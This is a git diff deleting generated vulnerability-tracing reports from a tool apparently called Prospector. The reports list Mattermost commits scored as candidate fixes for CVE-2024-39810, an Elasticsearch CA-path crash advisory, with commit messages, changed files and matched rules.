    - b02b97eeb03b6d87e06ac8c6417e6c740d0ef17f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update npm packages versions for release-9.11
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/package.json - - webapp/package-lock.json - - webapp/platform/client/package.json - - webapp/platform/types/package.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Ignore performance counts if notifications are blocked by the device - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2afc122ff72c0524b58367243a74aa53a74a72c2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: system
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Ignore performance counts if notifications are blocked by the device
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/system.go - - server/channels/api4/user.go - - server/channels/app/app_iface.go - - server/channels/app/notification_push.go - - server/channels/app/opentracing/opentracing_layer.go - - server/channels/app/session.go - - server/public/model/session.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - lint - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 573810805593673c5636f47dadc0878ede14adda -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      lint
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix searchlayer stuff - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - af35818df97005efd3dd6e38266696d6f7e2e800 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: file, test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix searchlayer stuff
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/file.go - - server/channels/store/searchlayer/file_info_layer.go - - server/channels/store/searchlayer/post_layer.go - - server/channels/store/searchtest/file_info_layer.go - - server/channels/store/searchtest/post_layer.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58527 - Fixing overflow issue for autocomplete (#27479) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c0a7a19294f10133a23fa0301971b2a8037bb4b7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27479
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58527 - Fixing overflow issue for autocomplete (#27479) * MM-58527 - Fixing overflow issue for autocomplete * MM-58527 - Fixing overflow issue on autocomplete
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/widgets/header/header.scss - - webapp/channels/src/sass/base/_structure.scss - - webapp/channels/src/sass/components/_post.scss - - webapp/channels/src/sass/layout/_content.scss - - webapp/channels/src/sass/layout/_headers.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-59404 Stop automatically dismissing desktop notifications (#27627) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0227ac0fc19173b520aa74febcf53715c29d4393 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27627
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-59404 Stop automatically dismissing desktop notifications (#27627)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/utils/constants.tsx - - webapp/channels/src/utils/notifications.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-55215] Remove deprecated LdapSettings.Trace (#27376) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a4bdb65037a9135b5ec6a95d8718a5f21cf4eb9c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27376
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-55215] Remove deprecated LdapSettings.Trace (#27376)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/config.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-54856: Place emoji at cursor position while editing message... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9bb22a369a57ce8633f1ab4689f2dafc59a09fcb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27418
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-54856: Place emoji at cursor position while editing message (#27418) * MM-54856: fix issue with emoji position in edit post editor * use useRef instead of useState --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/edit_post/edit_post.tsx - - webapp/channels/src/components/suggestion/suggestion_box/suggestion_box.jsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-56655] Remove deprecated Config.ProductSettings (#27375) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7434b524afb935118bec506929612b3af67841c9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27375
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-56655] Remove deprecated Config.ProductSettings (#27375)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/config.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [fix] ci container image scanning (#27631) Fixup on... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 22604d45921dea97939c358a9d18878167a0fa2a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27631
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [fix] ci container image scanning (#27631) Fixup on https://github.com/mattermost/mattermost/pull/27624 Exposing the tag variable to be used in the scanning step. Ticket: https://mattermost.atlassian.net/browse/CLD-8041 Signed-off-by: Akis Maziotis <akis.maziotis@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/server-ci-artifacts.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove dup stylelint depdendencies in webapp/channels (#27499) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6010ff55218e97c1d7c44c4f90a59d9f2320305f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27499
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove dup stylelint depdendencies in webapp/channels (#27499)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/package.json - - webapp/package-lock.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58856] Migrate tooltips of "components/copy_button.tsx" to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d939c1bd464780d7be4912510e25f9791d3b3aae -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27433
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58856] Migrate tooltips of "components/copy_button.tsx" to WithTooltip (#27433)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/copy_button.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Translations update from Mattermost Weblate (#27507) * Translated... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 35dda81e32b48d5317eb7b6aa6272b5d4b08d4a9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27507
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Translations update from Mattermost Weblate (#27507) * Translated using Weblate (German) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (German) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ * Translated using Weblate (Polish) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5771 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Serbian) Currently translated at 10.5% (611 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/sr/ * Translated using Weblate (Norwegian Bokmål) Currently translated at 6.3% (369 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nb_NO/ * Translated using Weblate (German) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ --------- Co-authored-by: jprusch <rs@schaeferbarthold.de> Co-authored-by: master7 <marcin.karkosz@rajska.info> Co-authored-by: Tom De Moor <tom@controlaltdieliet.be> Co-authored-by: homerCOD <anicin.goran@gmail.com> Co-authored-by: Frank Paul Silye <frankps@uio.no>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/i18n/de.json - - server/i18n/pl.json - - webapp/channels/src/i18n/de.json - - webapp/channels/src/i18n/nb-NO.json - - webapp/channels/src/i18n/nl.json - - webapp/channels/src/i18n/pl.json - - webapp/channels/src/i18n/sr.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - removed offending line that hid threads view on mobile (#27428)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: v9.9.2 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5231f780b46090818a42a21c04cdf41dc072e7ec -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27428, 27528
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      removed offending line that hid threads view on mobile (#27428) (#27528) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/threading/global_threads/global_threads.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix panic in migrations (#27494) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1f9c9486b882f8d2f7424a821e27ac30bee36098 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27494
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix panic in migrations (#27494)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/migrations.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore: update package metadata for API reference (#27462) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6bfd309573e64e710b4b7175b84149303c517909 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 27462
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      chore: update package metadata for API reference (#27462)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/package.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Make some changes to remove findDOMNode from React Bootstrap - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3b6608220b8105e0129eb596118ebdfafc3e49ec -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Make some changes to remove findDOMNode from React Bootstrap
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/plugins/channel_header_plug/channel_header_plug.tsx - - webapp/platform/components/src/generic_modal/generic_modal.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Switch ReactDOM.render to createRoot - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 1ebad56255577a996cb852543baaaa3e6e3d06e9 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Switch ReactDOM.render to createRoot
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/entry.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Disable legacy-peer-deps and manually override mismatched dependencies - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - b9fc83b5038c1a4fe817aac8140e63ac9f3d3b13 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Disable legacy-peer-deps and manually override mismatched dependencies
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/.npmrc - - webapp/package-lock.json - - webapp/package.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge remote-tracking branch 'upstream/master' into MM-56077 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 92e960ae63b82131c509c69fe5d40be4c709a871 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge remote-tracking branch 'upstream/master' into MM-56077
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'master' into MM-56073 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 139e63a77a189e0217682e99628c931d4bc54a42 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'master' into MM-56073
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'master' into poc-actions-rpc - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - a1fd7bc1566e55a5a072b118ee8e7cfe90aeb630 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'master' into poc-actions-rpc
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix config type - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 4473e25d7a1486678826002ba4c0aa8cd35d0487 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      fix config type
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/platform/types/src/config.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - do not remove post message content for websocket events, needed for mentions - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - c8d112111fa9034765337d237343b46bb056dece -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      do not remove post message content for websocket events, needed for mentions
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/post.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - i18n - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - af663753a3b18bb6d63b863048d7a22f7413c5e5 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      i18n
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/i18n/en.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 193d8802038fc42eba007ec78657207ba28010f6 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server into MM-56073
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'master' into MM-56073 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 3a49edd6038985fdf3f521faeb66556938e6f5cc -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'master' into MM-56073
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Example of logging client performance events above threshold - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - cada18f5bac07705cce9845b1758e46cfe0a6ad2 -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Example of logging client performance events above threshold
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/metrics.go - - server/public/model/config.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Updaetd user report API permission - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - 7d2a99936cd77a63474b2171c299a42b878398ad -
    -
    - - - - Open commit - -
    -
    - -
      - -
    - -
    Commit message
    - -
      -
    • -
      Updaetd user report API permission
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/report.go - -
    • -
    - - - -
    -
    -
    - -
    -
    -
    -
    -
    - - - - - - - - - - \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json deleted file mode 100644 index 11718a745..000000000 --- a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json +++ /dev/null @@ -1,5841 +0,0 @@ -{ - "parameters": { - "vulnerability_id": "CVE-2024-39810", - "repository_url": "https://github.com/elastic/elasticsearch", - "version_interval": "9.10.0:9.10.1", - "use_backend": "always", - "backend_address": "http://backend:8000", - "git_cache": "/data/gitcache", - "limit_candidates": 2000, - "use_llm_repository_url": true, - "enabled_rules": [ - "VULN_ID_IN_MESSAGE", - "XREF_BUG", - "XREF_GH", - "COMMIT_IN_REFERENCE", - "VULN_ID_IN_LINKED_ISSUE", - "CHANGES_RELEVANT_FILES", - "CHANGES_RELEVANT_CODE", - "RELEVANT_WORDS_IN_MESSAGE", - "ADV_KEYWORDS_IN_FILES", - "ADV_KEYWORDS_IN_MSG", - "SEC_KEYWORDS_IN_MESSAGE", - "SEC_KEYWORDS_IN_LINKED_GH", - "SEC_KEYWORDS_IN_LINKED_BUG", - "GITHUB_ISSUE_IN_MESSAGE", - "BUG_IN_MESSAGE", - "COMMIT_HAS_TWINS", - "COMMIT_IS_SECURITY_RELEVANT" - ] - }, - "advisory_record": { - "cve_id": "CVE-2024-39810", - "description": "Mattermost versions 9.5.x <= 9.5.7 and 9.10.x <= 9.10.0 fail to time limit and size limit the CA path file in the ElasticSearch configuration which allows a System Role with access to the Elasticsearch system console to add any file as a CA path field, such as /dev/zero and, after testing the connection, cause the application to crash.", - "reserved_timestamp": 1724170175, - "published_timestamp": 1724308211, - "updated_timestamp": 1724331492, - "repository_url": null, - "references": { - "https://mattermost.com/security-updates": 2 - }, - "affected_products": [ - "Role", - "Mattermost", - "System", - "Elasticsearch", - "ElasticSearch" - ], - "versions": { - "lessThanOrEqual": "9.5.7", - "status": "affected", - "version": "9.5.0", - "versionType": "semver" - }, - "files": [ - "ElasticSearch" - ], - "keywords": [ - "time", - "connection", - "role", - "elasticsearch", - "configuration", - "console", - "path", - "fail", - "cause", - "test", - "limit", - "version", - "size", - "field", - "allow", - "access", - "application", - "crash", - "file", - "system" - ], - "files_extension": [], - "has_fixing_commit": false - }, - "commits": [ - { - "commit_id": "177389d224aadf27e45b84990f75eda707b39779", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720683811, - "hunks": 50, - "message": "MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency ```release-note NONE ``` Co-authored-by: Mattermost Build ", - "changed_files": [ - "e2e-tests/.ci/server.generate.sh", - "e2e-tests/playwright/support/server/default_config.ts", - "server/build/Dockerfile.opensearch", - "server/build/docker-compose-generator/main.go", - "server/build/docker-compose.common.yml", - "server/build/docker-compose.yml", - "server/channels/jobs/jobs.go", - "server/cmd/mmctl/commands/enterprise.go", - "server/docker-compose.makefile.m1.yml", - "server/docker-compose.makefile.yml", - "server/docker-compose.yaml", - "server/go.mod", - "server/go.sum", - "server/i18n/en.json", - "server/public/model/builtin.go", - "server/public/model/config.go", - "server/tests/test-config.json", - "webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap", - "webapp/channels/src/components/admin_console/elasticsearch_settings.tsx", - "webapp/channels/src/i18n/en.json", - "webapp/platform/types/src/config.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "24399": "Support for OpenSearch & Elasticsearch v8 & new backend config setting mattermost/docs#7338" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: ElasticSearch", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap, webapp/channels/src/components/admin_console/elasticsearch_settings.tsx", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: elasticsearch, console, file, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 24399", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "ea6490a5eb764f5c032c2cdc59a3a754a94481f6", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721151587, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput on User * add test for user sanoitizeInput * add more fields * remove line, lint fix * additional fields and sanitize update * Update user_test.go * remove fields that are unnecessary to check * add check to test --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: field, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "075d0664e478d8f8e425d3d6a3962e2ff2af0f7c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720547871, - "hunks": 16, - "message": "MM-58548 Remove manage_team permissions from System Console Ancillary permissions (#27395) (#27599) Automatic Merge", - "changed_files": [ - "server/channels/api4/channel.go", - "server/channels/api4/channel_test.go", - "server/channels/api4/group.go", - "server/channels/api4/group_test.go", - "server/channels/db/migrations/migrations.list", - "server/channels/db/migrations/mysql/000124_remove_manage_team_permission.down.sql", - "server/channels/db/migrations/mysql/000124_remove_manage_team_permission.up.sql", - "server/channels/db/migrations/postgres/000124_remove_manage_team_permission.down.sql", - "server/channels/db/migrations/postgres/000124_remove_manage_team_permission.up.sql", - "server/public/model/role.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27395": "Automated cherry pick of #27395 #27599 Automated cherry pick of #27395 #27600 Automated cherry pick of #27395 #27601 Automated cherry pick of #27395 #27602", - "27599": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "73c392f1f2c913dbe3e7134dfd0e2760f4648b17" - ], - [ - "no-tag", - "99881b819ac8bb8b8cb45994c9fbab066562e050" - ], - [ - "no-tag", - 